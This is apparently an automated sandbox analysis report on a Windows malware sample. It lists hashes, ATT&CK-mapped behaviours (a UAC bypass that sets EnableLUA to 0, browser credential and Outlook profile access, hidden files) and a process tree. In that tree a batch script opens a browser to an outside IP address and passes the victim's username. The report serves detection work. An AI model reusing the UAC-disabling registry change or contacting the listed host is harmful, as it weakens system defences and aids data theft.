aa6a1200f7a7b160b58fe759478917261bc14526c7eb050401b13582f622d5f3

Analysis

max time kernel
150s
max time network
150s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
24/09/2026, 01:52

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
jaffacakes118_aa6a1200f7a7b160b58fe759478917261bc14526c7eb050401b13582f622d5f3.exe
Size 43KB
Sample260924-caewwabf25
SHA256 aa6a1200f7a7b160b58fe759478917261bc14526c7eb050401b13582f622d5f3
MD5 e617bae4a0ea392b0996e9387372c2a3
SHA1 749fea9f8867a104dca0e612e699544278b72c1c
SHA512 68c42ffedaa6d06b9ecd2f4fff86cb06b984c45d932d678692687c9da9a4652fa2b9fd3fa547d2e9c5287e48459a20d17c8b0fea510d7bbf2e683408bd39e7c5
SSDEEP 768:cVdtcAAayQ6I6Ro1dwwGl8940Xq3jk3nhOZO:cGAC66Ro/4iq3j9O
TLSH
T15C1319166ED3E170CBA185F008A62517EB2F6F678710C2DFE718B9287BA51C5CD3C296
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

adware collection defense_evasion discovery execution spyware stealer trojan

Malware Config

Signatures

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	reg.exe
Key enumerated	\REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	reg.exe
Key queried	\REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	reg.exe

Drops file in Windows directory 13 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4504_1668049927\smart_switch_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4504_65365308\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4504_65365308\sets.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4504_1075187462\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4504_484289791\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4504_1668049927\llm_user_input_extractor_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4504_1668049927\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4504_1668049927\office_endpoints_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4504_65365308\LICENSE	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4504_65365308\_metadata\verified_contents.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4504_1780896660\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4504_1780896660\protocols.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4504_484289791\nav_config.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 3 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1192	cmd.exe
5524	cmd.exe
3076	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 52 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jaffacakes118_aa6a1200f7a7b160b58fe759478917261bc14526c7eb050401b13582f622d5f3.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	find.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	find.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	find.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
5136	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe

Modifies Internet Explorer settings 1 TTPs 3 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	iexplore.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134346885541637998"	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1704430598-3087477806-3297458608-1000\{2CDA58F2-1B69-48DC-99C8-5FE15E8DD3B1}	msedge.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
5428	msedge.exe
5428	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 10 IoCs

pid	Process
4504	msedge.exe
4504	msedge.exe
4504	msedge.exe
4504	msedge.exe
4504	msedge.exe
4504	msedge.exe
4504	msedge.exe
4504	msedge.exe
4504	msedge.exe
4504	msedge.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4504	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2080 wrote to memory of 3076	2080	jaffacakes118_aa6a1200f7a7b160b58fe759478917261bc14526c7eb050401b13582f622d5f3.exe	89
PID 3076 wrote to memory of 4620	3076	cmd.exe	91
PID 3076 wrote to memory of 3188	3076	cmd.exe	92
PID 3076 wrote to memory of 1684	3076	cmd.exe	93
PID 3076 wrote to memory of 2236	3076	cmd.exe	94
PID 3076 wrote to memory of 2764	3076	cmd.exe	95
PID 3076 wrote to memory of 292	3076	cmd.exe	96
PID 3076 wrote to memory of 4692	3076	cmd.exe	97
PID 3076 wrote to memory of 4576	3076	cmd.exe	98
PID 3076 wrote to memory of 4220	3076	cmd.exe	99
PID 3076 wrote to memory of 2060	3076	cmd.exe	100
PID 3076 wrote to memory of 4164	3076	cmd.exe	101
PID 3076 wrote to memory of 4536	3076	cmd.exe	102
PID 3076 wrote to memory of 4140	3076	cmd.exe	103
PID 3076 wrote to memory of 5032	3076	cmd.exe	104
PID 3076 wrote to memory of 4836	3076	cmd.exe	105
PID 3076 wrote to memory of 5164	3076	cmd.exe	106
PID 3076 wrote to memory of 796	3076	cmd.exe	107
PID 3076 wrote to memory of 3124	3076	cmd.exe	108
PID 3076 wrote to memory of 3860	3076	cmd.exe	109
PID 3076 wrote to memory of 4208	3076	cmd.exe	110
PID 3076 wrote to memory of 5144	3076	cmd.exe	111
PID 3076 wrote to memory of 3380	3076	cmd.exe	112
PID 3076 wrote to memory of 5400	3076	cmd.exe	113
PID 3076 wrote to memory of 2108	3076	cmd.exe	114
PID 3076 wrote to memory of 1196	3076	cmd.exe	115
PID 3076 wrote to memory of 1300	3076	cmd.exe	116
PID 3076 wrote to memory of 4908	3076	cmd.exe	117
PID 3076 wrote to memory of 1816	3076	cmd.exe	118
PID 3076 wrote to memory of 420	3076	cmd.exe	119
PID 3076 wrote to memory of 1388	3076	cmd.exe	120
PID 3076 wrote to memory of 3684	3076	cmd.exe	121
PID 3076 wrote to memory of 1192	3076	cmd.exe	122
PID 1192 wrote to memory of 556	1192	cmd.exe	123
PID 1192 wrote to memory of 4312	1192	cmd.exe	124
PID 3076 wrote to memory of 3696	3076	cmd.exe	125
PID 3076 wrote to memory of 844	3076	cmd.exe	126
PID 3076 wrote to memory of 5932	3076	cmd.exe	127
PID 3076 wrote to memory of 5692	3076	cmd.exe	128
PID 4620 wrote to memory of 4504	4620	iexplore.exe	129
PID 3076 wrote to memory of 5220	3076	cmd.exe	130
PID 3076 wrote to memory of 252	3076	cmd.exe	131
PID 4504 wrote to memory of 5760	4504	msedge.exe	132
PID 3076 wrote to memory of 5524	3076	cmd.exe	133
PID 5524 wrote to memory of 428	5524	cmd.exe	134
PID 5524 wrote to memory of 4736	5524	cmd.exe	135
PID 3076 wrote to memory of 1844	3076	cmd.exe	136
PID 3076 wrote to memory of 3600	3076	cmd.exe	137
PID 3076 wrote to memory of 1048	3076	cmd.exe	138
PID 3076 wrote to memory of 2096	3076	cmd.exe	139
PID 3076 wrote to memory of 3468	3076	cmd.exe	140
PID 3076 wrote to memory of 2232	3076	cmd.exe	141
PID 3076 wrote to memory of 4292	3076	cmd.exe	142
PID 3076 wrote to memory of 4184	3076	cmd.exe	143
PID 4504 wrote to memory of 2880	4504	msedge.exe	145
PID 4504 wrote to memory of 5136	4504	msedge.exe	146
PID 4504 wrote to memory of 2880	4504	msedge.exe	145
PID 4504 wrote to memory of 2880	4504	msedge.exe	145
PID 4504 wrote to memory of 5752	4504	msedge.exe	147
PID 4504 wrote to memory of 5752	4504	msedge.exe	147
PID 4504 wrote to memory of 1508	4504	msedge.exe	148
PID 4504 wrote to memory of 1508	4504	msedge.exe	148
PID 4504 wrote to memory of 1508	4504	msedge.exe	148
PID 4504 wrote to memory of 3968	4504	msedge.exe	149

Views/modifies file attributes 1 TTPs 3 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
3696	attrib.exe
844	attrib.exe
5932	attrib.exe

outlook_office_path 1 IoCs

description	ioc	Process
Key queried	\REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	reg.exe

C:\Users\Admin\AppData\Local\Temp\jaffacakes118_aa6a1200f7a7b160b58fe759478917261bc14526c7eb050401b13582f622d5f3.exe
"C:\Users\Admin\AppData\Local\Temp\jaffacakes118_aa6a1200f7a7b160b58fe759478917261bc14526c7eb050401b13582f622d5f3.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2080
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\50D5.tmp\devilNormal.bat" "
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3076
- - C:\Program Files\Internet Explorer\iexplore.exe
    "C:\Program Files\Internet Explorer\iexplore.exe" "http://176.31.254.55/googler.php?a=Admin&b=UMMWTUQB"
    3⤵
    - Modifies Internet Explorer settings
    - Suspicious use of WriteProcessMemory
    PID:4620
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://176.31.254.55/googler.php?a=Admin&b=UMMWTUQB"
      4⤵
      Drops file in Windows directory
      Enumerates system info in registry
      Modifies data under HKEY_USERS
      Modifies registry class
      Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:4504
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x358,0x7ffd433ec188,0x7ffd433ec194,0x7ffd433ec1a0
        5⤵
        
        PID:5760
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1548,i,14980574414185438463,3301142721188089492,262144 --field-trial-handle=2652,i,7841847989268973555,3919451423684495091,262144 --variations-seed-version --mojo-platform-channel-handle=2648 /prefetch:2
        5⤵
        
        PID:2880
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1680,i,12435567698367953948,2515953990516962079,524288 --field-trial-handle=2652,i,7841847989268973555,3919451423684495091,262144 --variations-seed-version --mojo-platform-channel-handle=2680 /prefetch:11
        5⤵
        System Time Discovery
        
        PID:5136
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2304,i,10912677077020749368,12901445007896649344,524288 --field-trial-handle=2652,i,7841847989268973555,3919451423684495091,262144 --variations-seed-version --mojo-platform-channel-handle=3576 /prefetch:13
        5⤵
        
        PID:5752
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3204,i,788205964402666200,4885271521498344319,2097152 --field-trial-handle=2652,i,7841847989268973555,3919451423684495091,262144 --variations-seed-version --mojo-platform-channel-handle=3624 /prefetch:1
        5⤵
        
        PID:1508
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3200,i,8718966724607920618,7015063362590941094,2097152 --field-trial-handle=2652,i,7841847989268973555,3919451423684495091,262144 --variations-seed-version --mojo-platform-channel-handle=3620 /prefetch:1
        5⤵
        
        PID:3968
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4156,i,16895925832237685944,14521359824661483504,2097152 --field-trial-handle=2652,i,7841847989268973555,3919451423684495091,262144 --variations-seed-version --mojo-platform-channel-handle=4356 /prefetch:1
        5⤵
        
        PID:2416
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4168,i,4176617760149706362,4222683948774020671,2097152 --field-trial-handle=2652,i,7841847989268973555,3919451423684495091,262144 --variations-seed-version --mojo-platform-channel-handle=4400 /prefetch:9
        5⤵
        
        PID:2512
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4012,i,6686349193605820712,12313853362860542130,524288 --field-trial-handle=2652,i,7841847989268973555,3919451423684495091,262144 --variations-seed-version --mojo-platform-channel-handle=4024 /prefetch:14
        5⤵
        
        PID:1820
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3968,i,7005652449471069397,17711484761087622751,524288 --field-trial-handle=2652,i,7841847989268973555,3919451423684495091,262144 --variations-seed-version --mojo-platform-channel-handle=3956 /prefetch:14
        5⤵
        
        PID:4936
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5364,i,17973831024178715412,2066643678104273410,524288 --field-trial-handle=2652,i,7841847989268973555,3919451423684495091,262144 --variations-seed-version --mojo-platform-channel-handle=5372 /prefetch:14
        5⤵
        
        PID:6036
    - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5908,i,11405122801393145875,17367585204733706728,524288 --field-trial-handle=2652,i,7841847989268973555,3919451423684495091,262144 --variations-seed-version --mojo-platform-channel-handle=6048 /prefetch:14
        5⤵
        
        PID:292
    - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5908,i,11405122801393145875,17367585204733706728,524288 --field-trial-handle=2652,i,7841847989268973555,3919451423684495091,262144 --variations-seed-version --mojo-platform-channel-handle=6048 /prefetch:14
        5⤵
        
        PID:4720
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6180,i,2187686509918577857,3131060150600385169,524288 --field-trial-handle=2652,i,7841847989268973555,3919451423684495091,262144 --variations-seed-version --mojo-platform-channel-handle=6184 /prefetch:14
        5⤵
        
        PID:3208
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6308,i,15259730369866072123,9510892321029520035,524288 --field-trial-handle=2652,i,7841847989268973555,3919451423684495091,262144 --variations-seed-version --mojo-platform-channel-handle=6320 /prefetch:14
        5⤵
        
        PID:1840
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --always-read-main-dll --metrics-shmem-handle=6268,i,17307469469850368083,16076351706246362950,2097152 --field-trial-handle=2652,i,7841847989268973555,3919451423684495091,262144 --variations-seed-version --mojo-platform-channel-handle=6308 /prefetch:1
        5⤵
        
        PID:2780
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --always-read-main-dll --metrics-shmem-handle=3976,i,12441134265742315053,5668110683431909704,2097152 --field-trial-handle=2652,i,7841847989268973555,3919451423684495091,262144 --variations-seed-version --mojo-platform-channel-handle=3684 /prefetch:1
        5⤵
        
        PID:5908
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --always-read-main-dll --metrics-shmem-handle=4160,i,8542826832837605032,4170594768396614146,2097152 --field-trial-handle=2652,i,7841847989268973555,3919451423684495091,262144 --variations-seed-version --mojo-platform-channel-handle=4920 /prefetch:1
        5⤵
        
        PID:5988
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4016,i,965924310172289309,6208144467894648089,524288 --field-trial-handle=2652,i,7841847989268973555,3919451423684495091,262144 --variations-seed-version --mojo-platform-channel-handle=6480 /prefetch:14
        5⤵
        
        PID:5032
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6316,i,5232013381798643732,5358445984773388956,524288 --field-trial-handle=2652,i,7841847989268973555,3919451423684495091,262144 --variations-seed-version --mojo-platform-channel-handle=6324 /prefetch:14
        5⤵
        
        PID:3540
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
